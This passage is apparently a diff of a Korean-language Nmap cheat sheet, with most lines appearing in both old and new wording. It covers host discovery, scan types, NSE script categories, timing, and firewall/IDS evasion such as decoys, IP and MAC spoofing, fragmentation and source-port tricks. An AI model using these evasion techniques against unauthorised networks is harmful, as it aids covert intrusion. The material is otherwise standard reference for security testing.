* **`-iR <number>`**: 랜덤 IP 수, `--exclude <Ips>` 또는 `--excludefile <file>`로 제외 가능
|
||||
|
||||
### 장비 발견
|
||||
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 발견 단계를 시작합니다.
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 발견 단계를 시작함
|
||||
|
||||
* **`-sL`**: 침입적이지 않고, DNS 이름을 해결하기 위해 이름을 확인하는 대상을 나열합니다. 예를 들어 www.prueba.es/24의 모든 IP가 대상인지 확인하는 데 유용합니다.
|
||||
* **`-Pn`**: 핑 없음. 모두 활성 상태임을 알고 있는 경우 유용합니다(그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성 상태가 아니라고 잘못 알려줄 수도 있음). 발견 단계를 방지합니다.
|
||||
* **`-sn`** : 포트 스캔 없음. 정찰 단계를 완료한 후 포트를 스캔하지 않습니다. 비교적 은밀하며 작은 네트워크 스캔을 허용합니다. 권한이 있는 경우 80번으로 ACK(-PA), 443번으로 SYN(-PS) 및 echo 요청 및 타임스탬프 요청을 보냅니다. 대상이 네트워크인 경우 ARP(-PR)만 사용합니다. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됩니다.
|
||||
* **`-PR`**: ARP 핑. 네트워크의 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠릅니다. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용하십시오.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내서 SYN/ACK로 응답하는 경우 열려 있습니다(연결을 끝내지 않기 위해 RST로 응답), RST로 응답하는 경우 닫혀 있으며 응답이 없는 경우 접근할 수 없습니다. 권한이 없는 경우 전체 연결이 자동으로 사용됩니다. 포트가 지정되지 않은 경우 80번으로 전송됩니다.
|
||||
* **`-PA <ports>`**: 이전과 유사하지만 ACK를 사용하여 더 나은 결과를 제공합니다.
|
||||
* **`-PU <ports>`**: 목적은 반대로, 닫혀 있을 것으로 예상되는 포트로 전송됩니다. 일부 방화벽은 TCP 연결만 확인합니다. 닫혀 있으면 포트 접근 불가로 응답되며, 다른 icmp로 응답되거나 응답이 없는 경우 대상 접근 불가로 남겨집니다.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp 및 addresmask. 대상이 활성인지 확인하기 위해 전송됩니다.
|
||||
* **`-PY<ports>`**: 기본적으로 80번으로 SCTP INIT 프로브를 보내며, INIT-ACK(열림) 또는 ABORT(닫힘) 또는 아무것도 또는 ICMP 접근 불가능(비활성)으로 응답될 수 있습니다.
|
||||
* **`-PO <protocols>`**: 헤더에 프로토콜이 지정됩니다. 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP)입니다. ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지에 대해서는 IP 헤더만 전송됩니다. 이는 헤더의 형태가 변형되어 프로토콜이 업무인지 또는 동일한 프로토콜의 응답인지 확인하기 위해 프로토콜 접근 불가능 또는 동일한 프로토콜의 응답이 되도록 응답됩니다.
|
||||
* **`-sL`**: 침입적이지 않고, 목표를 나열하기 위해 **DNS** 요청을 수행함. 예를 들어 www.prueba.es/24의 모든 IP가 우리의 목표인지 확인하는 데 유용함.
|
||||
* **`-Pn`**: **핑 없음**. 모두 활성 상태임을 알고 있는 경우 유용함 (그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성 상태가 아니라고 잘못 알려줄 수도 있음), 발견 단계를 방지함.
|
||||
* **`-sn`** : **포트 스캔 없음**. 정찰 단계를 완료한 후 포트를 스캔하지 않음. 비교적 은밀하며 소규모 네트워크 스캔을 허용함. 권한이 있는 경우 80번으로 ACK(-PA), 443번으로 SYN(-PS) 및 에코 요청 및 타임스탬프 요청을 보냄. 대상이 네트워크인 경우 ARP(-PR)만 사용함. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됨.
|
||||
* **`-PR`**: **핑 ARP**. 네트워크의 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠름. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용함.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내어 SYN/ACK로 응답하는 경우 열림(연결을 끝내지 않기 위해 RST로 응답), RST로 응답하는 경우 닫힘, 응답이 없는 경우 접근 불가능함. 권한이 없는 경우 자동으로 총 연결이 사용됨. 포트가 지정되지 않은 경우 80번으로 보냄.
|
||||
* **`-PA <ports>`**: 이전과 유사하지만 ACK로, 두 가지를 결합하면 더 나은 결과를 얻을 수 있음.
|
||||
* **`-PU <ports>`**: 목적은 반대로, 닫혀 있을 것으로 예상되는 포트로 보냄. 일부 방화벽은 TCP 연결만 확인함. 닫혀 있으면 포트 접근 불가능으로 응답하고, 다른 ICMP로 응답하거나 응답이 없는 경우 대상 접근 불가능으로 남김.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: 에코 응답, 타임스탬프 및 주소 마스크. 대상이 활성 상태인지 확인하기 위해 전송됨.
|
||||
* **`-PY<ports>`**: 기본적으로 80번으로 SCTP INIT 프로브를 보내며, INIT-ACK(열림) 또는 ABORT(닫힘) 또는 아무것도 또는 ICMP 접근 불가능(비활성)으로 응답할 수 있음.
|
||||
* **`-PO <protocols>`**: 헤더에 프로토콜이 표시됨, 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP). ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지에는 IP 헤더만 전송됨. 이는 헤더의 형태가 변형되어 프로토콜이 업데이트되거나 동일한 프로토콜의 응답이 도착하는지 확인하기 위해 프로토콜 접근 불가능 또는 동일한 프로토콜의 응답이 도착함.
|
||||
* **`-n`**: DNS 없음
|
||||
* **`-R`**: 항상 DNS
|
||||
|
||||
### 포트 스캔 기술
|
||||
|
||||
* **`-sS`**: 연결을 완료하지 않으므로 추적이 남지 않습니다. 사용 가능한 경우 매우 좋습니다(권한 필요). 기본적으로 사용됩니다.
|
||||
* **`-sT`**: 연결을 완료하므로 추적이 남지만 확실하게 사용할 수 있습니다. 기본적으로 권한이 없는 경우 사용됩니다.
|
||||
* **`-sU`**: UDP를 위한 느린 스캔. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 접근 불가능), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하고 실제 상태를 감지할 수 있도록 여러 요청을 보냅니다. 시간이 많이 소요됩니다.
|
||||
* **`-sY`**: SCTP 프로토콜은 연결을 설정하지 못하므로 로그가 없습니다. -PY처럼 작동합니다.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 관통하고 정보를 추출할 수 있습니다. SYN, RST 또는 ACK 플래그가 없는 모든 요청에 RST로 응답해야 한다는 사실에 기초합니다: 열림/필터링(아무것도), 닫힘(RST), 필터링(ICMP 접근 불가능). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없습니다. Unix에서는 신뢰할 수 있습니다.
|
||||
* **`-sM`**: Maimon 스캔: FIN 및 ACK 플래그를 보냅니다. 현재 BSD에서는 모두 닫힌 것으로 반환됩니다.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하고 포트가 필터링되었는지 여부를 파악하는 데 사용됩니다. -sW는 열림/닫힘을 구별합니다. 열린 포트는 창 값이 다른 RST로 응답하며, 닫힌 포트는 창 = 0인 RST로 응답하며, 필터링된 포트는 ICMP 접근 불가능 또는 아무것도 응답합니다. 모든 컴퓨터가 이렇게 작동하는 것은 아니므로 모두 닫힌 경우 작동하지 않으며, 일부 열린 경우 잘 작동하며, 많이 열린 경우와 일부 닫힌 경우는 반대로 작동합니다.
|
||||
* **`-sI`:** Idle scan. 활성 방화벽이 있지만 특정 IP로 필터링되지 않는다는 것을 알고 있는 경우(또는 익명성을 원하는 경우) 좀비 스캐너를 사용할 수 있습니다(모든 포트에 대해 작동). 가능한 좀비를 찾기 위해 ipidseq 스크립트 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있습니다. 이 스캐너는 IP 패킷의 IPID 번호를 기반으로 합니다.
|
||||
* **`--badsum`:** 잘못된 합계를 보냅니다. 컴퓨터는 패킷을 버릴 수 있지만 방화벽은 응답할 수 있습니다. 방화벽을 감지하는 데 사용됩니다.
|
||||
* **`-sZ`:** "이상한" SCTP 스캐너로, 쿠키 에코 조각을 보내면 열린 경우 삭제되거나 닫힌 경우 ABORT로 응답해야 합니다. 초기화가 통과하지 못하는 방화벽을 통과할 수 있지만, 필터링된 상태와 열린 상태를 구별하지 못합니다.
|
||||
* **`-sO`:** 프로토콜 IP 스캔. 때로는 프로토콜을 식별할 수 없는 잘못된 및 빈 헤더를 보냅니다. ICMP 접근 불가능 프로토콜이 도착하면 닫힌 것이고, 접근 불가능한 포트가 도착하면 열린 것이며, 다른 오류가 도착하면 필터링되며, 아무것도 도착하지 않으면 열림|필터링입니다.
|
||||
* **`-b <server>`:** FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용됩니다. 다른 기계의 FTP에 연결하여 해당 기계에서 스캔하려는 포트로 파일을 보내도록 요청합니다. 응답에 따라 해당 포트가 열려 있는지 여부를 알 수 있습니다. \[\<user>:\<password>@]\<server>\[:\<port>] 대부분의 FTP 서버는 더 이상 이 작업을 허용하지 않으므로 실용적인 용도가 거의 없습니다.
|
||||
* **`-sS`**: 연결을 완료하지 않아 추적을 남기지 않음, 사용 가능한 경우 매우 좋음(권한 필요). 기본적으로 사용됨.
|
||||
* **`-sT`**: 연결을 완료하여 추적을 남김, 확실하게 사용 가능함. 기본적으로 권한이 없음.
|
||||
* **`-sU`**: UDP를 위한 느린 스캔. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 접근 불가능), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하고 실제 상태를 감지할 수 있도록 여러 요청을 보냄. 시간이 많이 소요됨.
|
||||
* **`-sY`**: SCTP 프로토콜이 연결을 설정하지 못하면 로그가 생성되지 않음, -PY처럼 작동함
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 관통하고 정보를 추출할 수 있음. SYN, RST 또는 ACK 플래그가 없는 모든 요청에 RST로 응답해야 한다는 사실에 기초함: 열림/필터링(아무것도), 닫힘(RST), 필터링(ICMP 접근 불가능). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없음. Unix에서는 신뢰할 수 있음.
|
||||
* **`-sM`**: Maimon 스캔: FIN 및 ACK 플래그를 보냄, 현재 BSD에서는 모두 닫힌 것으로 반환됨.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하기 위해 사용되며 포트가 필터링되었는지 여부를 알 수 있음. -sW는 열림/닫힘을 구별함(열린 경우 다른 창 값으로 응답함): 열림(창 값이 0이 아닌 RST), 닫힘(창 값 = 0인 RST), 필터링(ICMP 접근 불가능 또는 아무것도). 모든 컴퓨터가 이렇게 작동하는 것은 아니므로 모두 닫힌 경우 작동하지 않음, 몇 개가 열린 경우 잘 작동하며, 많이 열려 있고 몇 개가 닫힌 경우 반대로 작동함.
|
||||
* **`-sI`:** Idle 스캔. 활성 방화벽이 있지만 특정 IP로 필터링되지 않는다는 것을 알고 있는 경우(또는 단순히 익명성을 원하는 경우) 좀비 스캐너를 사용할 수 있음(모든 포트에 대해 작동함), 가능한 좀비를 찾기 위해 ipidseq 스크립트 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있음. 이 스캐너는 IP 패킷의 IPID 번호를 기반으로 함.
|
||||
* **`--badsum`:** 합계를 잘못 보내어 컴퓨터가 패킷을 버릴 수 있지만, 방화벽은 응답할 수 있음, 방화벽을 감지하는 데 사용됨.
|
||||
* **`-sZ`:** "이상한" SCTP 스캐너, 쿠키 에코 조각을 보내면 열린 경우 삭제되거나 닫힌 경우 ABORT로 응답해야 함. init을 통과하지 못하는 방화벽을 통과할 수 있지만, 필터링된 것과 열린 것을 구별하지 못함.
|
||||
* **`-sO`:** 프로토콜 IP 스캔. 때로는 프로토콜을 식별할 수 없는 잘못된 및 빈 헤더를 보냄. ICMP 접근 불가능 프로토콜이 도착하면 닫힘, 접근 불가능한 포트가 도착하면 열림, 다른 오류가 도착하면 필터링, 아무것도 도착하지 않으면 열림|필터링.
|
||||
* **`-b <server>`:** FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용됨, 다른 기계의 FTP에 연결하여 해당 기계에서 다른 기계로 파일을 보내도록 요청함, 응답에 따라 해당 포트가 열렸는지 여부를 알 수 있음. \[\<user>:\<password>@]\<server>\[:\<port>] 대부분의 FTP 서버는 더 이상 이 작업을 허용하지 않으므로 실용적인 용도가 거의 없음.
|
||||
|
||||
### **분석 중심**
|
||||
|
||||
**-p:** 스캔할 포트를 지정하는 데 사용됩니다. 65335개를 선택하려면 **-p-** 또는 **-p all**을 사용합니다. Nmap은 인기에 따라 내부적으로 분류됩니다. 기본적으로 상위 1000개를 사용합니다. **-F** (빠른 스캔)으로 상위 100개를 분석합니다. **--top-ports \<numero>**로 해당 수의 상위 포트를 분석합니다(1부터 65335까지). 포트를 무작위로 확인하므로 이를 방지하려면 **-r**을 사용합니다. 또한 포트를 선택할 수 있습니다: 20-30,80,443,1024- 이는 1024 이상을 확인합니다. 또한 프로토콜별로 포트를 그룹화할 수 있습니다: U:53,T:21-25,80,139,S:9. 또한 nmap의 인기 있는 포트 범위 내에서 범위를 선택할 수 있습니다: -p \[-1024]는 nmap-services에 포함된 1024까지 분석합니다. **--port-ratio \<ratio>**는 0과 1 사이여야 하는 비율로 가장 일반적인 포트를 분석합니다.
|
||||
**-p:** 스캔할 포트를 지정하는 데 사용됨. 65335개를 선택하려면: **-p-** 또는 **-p all**. Nmap은 인기에 따라 내부적으로 분류됨. 기본적으로 상위 1000개를 사용함. **-F** (빠른 스캔)으로 상위 100개를 분석함. **--top-ports \<number>**로 해당 수의 상위 포트를 분석함 (1부터 65335까지). 포트를 무작위로 확인하므로 이를 방지하려면 **-r**을 사용함. 또한 포트를 선택할 수 있음: 20-30,80,443,1024- 이는 1024 이후를 확인함. 또한 프로토콜별로 포트를 그룹화할 수 있음: U:53,T:21-25,80,139,S:9. 또한 nmap의 인기 있는 포트 범위 내에서 범위를 선택할 수 있음: -p \[-1024] nmap-services에 포함된 1024까지 분석함. **--port-ratio \<ratio>**로 0에서 1 사이의 비율로 가장 일반적인 포트를 분석함
|
||||
|
||||
**-sV** 버전 스캔은 0에서 9까지의 강도를 조절할 수 있으며 기본값은 7입니다.
|
||||
**-sV** 버전 스캔, 강도를 0에서 9로 조절할 수 있으며 기본값은 7임.
|
||||
|
||||
**--version-intensity \<numero>** 강도를 조절하여 더 낮은 값은 가장 가능성이 높은 프로브만 보내고 모두 보내지 않습니다. 이를 통해 UDP 스캔 시간을 크게 단축할 수 있습니다.
|
||||
**--version-intensity \<number>** 강도를 조절하여 더 낮은 값은 가장 가능성이 높은 프로브만 보내고 모두 보내지 않음, 이를 통해 UDP 스캔 시간을 상당히 단축할 수 있음
|
||||
|
||||
**-O** 운영 체제 감지
|
||||
**-O** OS 감지
|
||||
|
||||
**--osscan-limit** 호스트를 올바르게 스캔하려면 적어도 하나의 포트가 열려 있고 다른 하나가 닫혀 있어야 합니다. 이 조건이 충족되지 않고 이 옵션을 설정한 경우 OS 예측을 시도하지 않습니다(시간을 절약함)
|
||||
**--osscan-guess** OS 감지가 완벽하지 않을 때 추가 노력을 기울입니다.
|
||||
**--osscan-limit** 호스트를 올바르게 스캔하려면 적어도 하나의 열린 포트와 하나의 닫힌 포트가 있어야 하며, 이 조건이 충족되지 않고 이 옵션을 설정한 경우 OS 예측을 시도하지 않음(시간을 절약함)
|
||||
**--osscan-guess** 운영 체제 감지가 완벽하지 않을 때 더 많은 노력을 기울입니다.
|
||||
|
||||
**스크립트**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
기본적으로 -sC 또는 --script=default로 사용 가능
|
||||
기본적으로 -sC 또는 --script=default을 사용하여 사용 가능한 스크립트를 실행할 수 있습니다.
|
||||
|
||||
사용 가능한 유형: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** 인증용 사용 가능한 모든 _스크립트_ 실행
|
||||
* **Default:** 도구의 기본 _스크립트_ 실행
|
||||
* **Discovery:** 대상 또는 피해자 정보 검색
|
||||
* **External:** 외부 리소스 사용을 위한 _스크립트_
|
||||
* **Intrusive:** 피해자나 대상에 대해 침입적으로 간주되는 _스크립트_ 사용
|
||||
* **Auth:** 인증에 사용 가능한 모든 스크립트 실행
|
||||
* **Default:** 도구의 기본 스크립트 실행
|
||||
* **Discovery:** 대상 또는 피해자의 정보 검색
|
||||
* **External:** 외부 리소스 사용을 위한 스크립트
|
||||
* **Intrusive:** 피해자나 대상에 대해 침입적으로 간주되는 스크립트 사용
|
||||
* **Malware:** 악성 코드나 백도어로 인한 열린 연결 확인
|
||||
* **Safe:** 침입적이지 않은 _스크립트_ 실행
|
||||
* **Safe:** 침입적이지 않은 스크립트 실행
|
||||
* **Vuln:** 가장 잘 알려진 취약점 발견
|
||||
* **All:** 가능한 모든 NSE 확장 _스크립트_ 실행
|
||||
* **All:** 가능한 모든 NSE 확장을 가진 스크립트 실행
|
||||
|
||||
스크립트 검색:
|
||||
|
||||
|
@ -113,37 +113,37 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
\--script-updatedb
|
||||
|
||||
**스크립트 사용 시: nmap --script Script_Name target** --> 스크립트와 스캐너가 실행되며, 스캐너 옵션도 추가할 수 있습니다. **“safe=1”**를 추가하여 안전한 것들만 실행할 수 있습니다.
|
||||
**스크립트 사용 시: namp --script Script_Name target** --> 스크립트와 스캐너가 실행되며, 스캐너 옵션도 추가할 수 있습니다. **“safe=1”**을 추가하여 안전한 스크립트만 실행할 수 있습니다.
|
||||
|
||||
**시간 제어**
|
||||
|
||||
**Nmap은 초, 분, ms 단위로 시간을 조정할 수 있습니다:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행합니다.
|
||||
**Nmap은 초, 분, ms로 시간을 조정할 수 있습니다:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행합니다.
|
||||
|
||||
Nmap은 총 호스트 수를 그룹으로 나누어 그룹을 블록 단위로 분석하므로 모든 그룹이 분석될 때까지 다음 블록으로 넘어가지 않습니다 (사용자도 블록이 분석될 때까지 업데이트를 받지 않음). 이렇게 하면 nmap이 대규모 그룹을 사용하는 것이 더 효율적입니다. 기본적으로 클래스 C에서 256을 사용합니다.
|
||||
Nmap은 총 호스트 수를 그룹으로 나누어 그룹을 블록 단위로 분석하므로 모든 그룹이 분석될 때까지 다음 블록으로 넘어가지 않습니다 (사용자도 블록이 분석될 때까지 업데이트를 받지 않음). 이러한 방식으로 nmap은 대규모 그룹을 사용하는 것이 더 효율적입니다. 기본적으로 클래스 C에서 256을 사용합니다.
|
||||
|
||||
변경 가능: **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (병렬 스캔 그룹 크기 조정)
|
||||
다음과 같이 변경할 수 있습니다\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (병렬 스캔 그룹 크기 조정)
|
||||
|
||||
병렬로 실행되는 스캐너 수를 제어할 수 있지만 권장하지 않습니다 (네트워크 상태에 따라 nmap이 자동으로 제어): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
병렬로 실행되는 스캐너 수를 제어할 수 있지만 권장하지 않습니다 (nmap은 네트워크 상태에 따라 자동 제어를 포함하고 있습니다): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
RTT 타임아웃을 조정할 수 있지만 일반적으로 필요하지 않습니다: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
rtt 타임아웃을 조정할 수 있지만 대개 필요하지 않습니다: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
시도 횟수를 조정할 수 있습니다:**--max-retries** _**\<numtries>**_
|
||||
|
||||
호스트의 스캔 시간을 조정할 수 있습니다: **--host-timeout** _**\<time>**_
|
||||
|
||||
각 테스트 사이의 시간을 느리게 조정할 수 있습니다: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
각 테스트 사이의 시간을 느리게 만들기 위해 스캔 지연 시간을 조정할 수 있습니다: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
초당 패킷 수를 조정할 수 있습니다: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
많은 포트가 필터링되거나 닫혀 있어 응답이 오래 걸릴 수 있습니다. 열린 포트만 관심이 있는 경우 더 빠르게 진행할 수 있습니다: **--defeat-rst-ratelimit**
|
||||
많은 포트가 필터링되거나 닫혀 있어 응답이 오래 걸릴 수 있습니다. 열린 포트만 관심이 있는 경우, **--defeat-rst-ratelimit**를 사용하여 더 빨리 할 수 있습니다.
|
||||
|
||||
Nmap의 공격적 정도를 정의할 수 있습니다: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
nmap의 공격적인 정도를 정의하기 위해: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> 한 번에 1개의 포트만 스캔하고 다음까지 5분 대기
|
||||
|
||||
\-T1 and T2 --> 매우 유사하지만 각 테스트 사이에 15초와 0.4초 대기
|
||||
\-T1 및 T2 --> 매우 유사하지만 각 테스트 사이에 15초와 0.4초 대기
|
||||
|
||||
\-T3 --> 기본 동작, 병렬로 실행
|
||||
|
||||
|
@ -155,36 +155,36 @@ Nmap의 공격적 정도를 정의할 수 있습니다: -T paranoid|sneaky|polit
|
|||
|
||||
포트를 통과시키지 않고 패킷을 분석합니다.
|
||||
|
||||
**-f** 패킷을 조각내어 전송합니다. 기본적으로 헤더 이후 8바이트로 조각화되며, 이 크기를 지정하려면 ..mtu를 사용합니다 (-f를 사용하지 않음). 오프셋은 8의 배수여야 합니다. **버전 스캐너 및 스크립트는 조각화를 지원하지 않습니다**
|
||||
**-f** 패킷을 단편화하며, 기본적으로 헤더 이후 8바이트로 단편화하며, 이 크기를 지정하려면 ..mtu를 사용합니다 (-f를 사용하지 않음), 오프셋은 8의 배수여야 합니다. **버전 스캐너 및 스크립트는 단편화를 지원하지 않습니다**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 송신지로 사용하여 스캔을 보냅니다. ME를 목록에 추가하면 Nmap이 해당 위치에 당신을 숨깁니다. 완전히 가려지려면 자신의 앞에 5개 또는 6개를 더 추가하는 것이 좋습니다. RND:\<number>로 무작위 IP를 생성할 수 있습니다. TCP 연결 없는 버전 탐지기와 함께 작동하지 않습니다. 네트워크 내에 있을 때 활성 상태인 IP를 사용하는 것이 좋습니다.
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 송신지로 사용하여 스캐너를 보냅니다. ME를 목록에 포함하면 nmap은 해당 위치에 당신을 숨깁니다. 완전히 가려지도록 하려면 당신 앞에 5개 또는 6개를 더 추가하는 것이 좋습니다. RND:\<number>를 사용하여 무작위 IP를 생성할 수 있습니다. TCP 연결 없이 버전 탐지기와 함께 작동하지 않습니다. 네트워크 내에 있을 때 활성 상태인 IP를 사용하는 것이 좋습니다. 그렇지 않으면 당신이 유일하게 활성 상태임을 쉽게 알아낼 수 있습니다.
|
||||
|
||||
무작위 IP 사용: nmap-D RND: 10 Target_IP
|
||||
무작위 IP를 사용하려면: nmap-D RND: 10 Target_IP
|
||||
|
||||
**-S IP** Nmap이 IP 주소를 감지하지 못할 때 해당 IP 주소를 제공해야 합니다. 또한 다른 대상이 스캔 중인 것처럼 보이게 할 수 있습니다.
|
||||
**-S IP** Nmap이 당신의 IP 주소를 인식하지 못할 때 사용합니다. 또한 다른 대상이 스캔 중인 것처럼 보이도록 할 수 있습니다.
|
||||
|
||||
**-e \<interface>** 인터페이스 선택
|
||||
|
||||
많은 관리자들은 모든 것이 올바르게 작동하도록 입력 포트를 열어둡니다. DNS 또는 FTP 포트일 수 있습니다. 이 취약성을 찾기 위해 nmap은 다음을 포함합니다: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _동일한 기능_
|
||||
많은 관리자들은 모든 것이 올바르게 작동하도록 입력 포트를 열어둡니다. 이는 DNS 또는 FTP 포트일 수 있습니다... 이 취약성을 찾기 위해 nmap은 다음을 포함합니다: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _동일한 작업_
|
||||
|
||||
**--data** _**\<hex string>**_ 16진수 텍스트 전송: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
**--data** _**\<hex string>**_ 16진수 텍스트를 보내기 위해: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<string>**_ 일반 텍스트 전송: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
**--data-string** _**\<string>**_ 일반 텍스트를 보내기 위해: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap은 헤더만 보내고, 여기에 무작위로 생성된 바이트 수를 추가합니다.
|
||||
**--data-length** _**\<number>**_ Nmap은 헤더만 보내며, 여기에 무작위로 생성된 바이트 수를 추가합니다.
|
||||
|
||||
IP 패킷을 완전히 구성하려면 **--ip-options** 사용
|
||||
|
||||
전송 및 수신된 패킷의 옵션을 보려면 --packet-trace 지정. Nmap에서 IP 옵션 사용에 대한 자세한 정보 및 예제는 [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)를 참조하십시오.
|
||||
보낸 패킷의 옵션을 보려면 --packet-trace 지정. Nmap을 사용하여 IP 옵션을 사용하는 방법 및 예제에 대한 자세한 내용은 [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)를 참조하십시오.
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** 공격이 덜 눈에 띄도록 함
|
||||
**--randomize-hosts** 공격이 덜 눈에 띄도록
|
||||
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MAC 주소 변경: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<Comma-separated list of proxy URLs>**_ 프록시를 사용하려면 때때로 nmap이 원하는만큼의 연결을 유지하지 못하는 경우가 있으므로 병렬성을 수정해야 합니다: --max-parallelism
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MAC 주소 변경을 위해 예: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<쉼표로 구분된 프록시 URL 목록>**_ 프록시를 사용하는 경우, 때로는 프록시가 nmap이 원하는만큼 많은 연결을 유지하지 못할 수 있으므로 병렬성을 조정해야 합니다: --max-parallelism
|
||||
|
||||
**-sP** ARP를 통해 현재 네트워크의 호스트를 발견합니다.
|
||||
**-sP** 우리가 있는 네트워크에서 호스트를 발견하기 위해 ARP를 사용합니다.
|
||||
|
||||
많은 관리자들이 특정 포트(예: 20, 53 및 67)에서 오는 모든 패킷을 통과시키는 방화벽 규칙을 만듭니다. nmap에게 이러한 포트에서 패킷을 보내도록 지시할 수 있습니다: **nmap --source-port 53 Ip**
|
||||
|
||||
|
@ -206,19 +206,19 @@ IP 패킷을 완전히 구성하려면 **--ip-options** 사용
|
|||
|
||||
**--reason** 호스트 및 상태의 이유
|
||||
|
||||
**--stats-every time** 주기적으로 진행 상황을 알려줍니다
|
||||
**--stats-every time** 주기적으로 진행 상황을 알려줍니다.
|
||||
|
||||
**--packet-trace** 보낸 패킷을 확인할 수 있으며 --version-trace 또는 --script-trace와 같은 필터를 지정할 수 있습니다
|
||||
**--packet-trace** 보낸 패킷을 확인할 수 있으며 --version-trace 또는 --script-trace와 같은 필터를 지정할 수 있습니다.
|
||||
|
||||
**--open** 열린, 열린|차단된 및 차단되지 않은 것을 표시합니다
|
||||
**--open** 열린 포트, 열린|필터링된 포트 및 필터링되지 않은 포트를 표시합니다.
|
||||
|
||||
**--resume file** 요약본 생성
|
||||
**--resume file** 요약을 생성합니다.
|
||||
|
||||
**기타**
|
||||
|
||||
**-6** IPv6 허용
|
||||
**-6** IPv6를 허용합니다.
|
||||
|
||||
**-A** -O -sV -sC --traceroute와 동일
|
||||
**-A** -O -sV -sC --traceroute와 동일합니다.
|
||||
|
||||
**실행 시간**
|
||||
|
||||
|
@ -234,7 +234,7 @@ p / P 패킷 추적 켜기 / 끄기
|
|||
|
||||
**Vulscan**
|
||||
|
||||
nmap 스크립트로, 오프라인 데이터베이스(중요한 다른 데이터베이스에서 다운로드한)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
